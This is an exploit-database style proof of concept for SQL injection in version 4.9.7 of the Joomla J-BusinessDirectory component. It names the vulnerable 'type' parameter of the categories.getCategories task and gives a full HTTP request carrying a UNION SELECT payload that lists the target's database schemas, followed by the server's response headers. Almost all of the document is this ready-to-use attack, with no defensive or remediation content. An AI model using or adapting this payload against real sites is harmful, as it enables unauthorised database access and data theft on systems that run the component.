Joomla! J-BusinessDirectory 4.9.7 SQL Injection

`# Exploit Title: Joomla! Component J-BusinessDirectory 4.9.7 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-23  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://cmsjunkie.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/j-businessdirectory/  
# Version: 4.9.7  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?option=com_jbusinessdirectory&task=categories.getCategories&type=[SQL]&term=a  
#   
  
GET /[PATH]/index.php?option=com_jbusinessdirectory&task=categories.getCategories&type=1%20union%20select%20(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2--%20-&term=a HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: __cfduid=d35dbe4de0d461bf69a9165df0f9691951548240991; 79a1b3ae870a3fab009030106c9fb887=eeab77f1b87057d5ad12b61071048ad6; PHPSESSID=c1088ee33a3f4770dd333f9605b9e44f; 704a7cf3f453ec2db97de2f28ef169f8=fb9a121113ff0e6cc6da546a82f2452e  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
HTTP/1.1 200 OK  
Date: Wed, 23 Jan 2019 15:45:13 GMT  
Content-Type: application/json  
Transfer-Encoding: chunked  
Connection: keep-alive  
Cache-Control: max-age=172800  
Expires: Fri, 25 Jan 2019 15:45:13 GMT  
Alt-Svc: h2=":443"; ma=60  
Server: cloudflare  
CF-RAY: 49da034bc2faba72-ATL  
`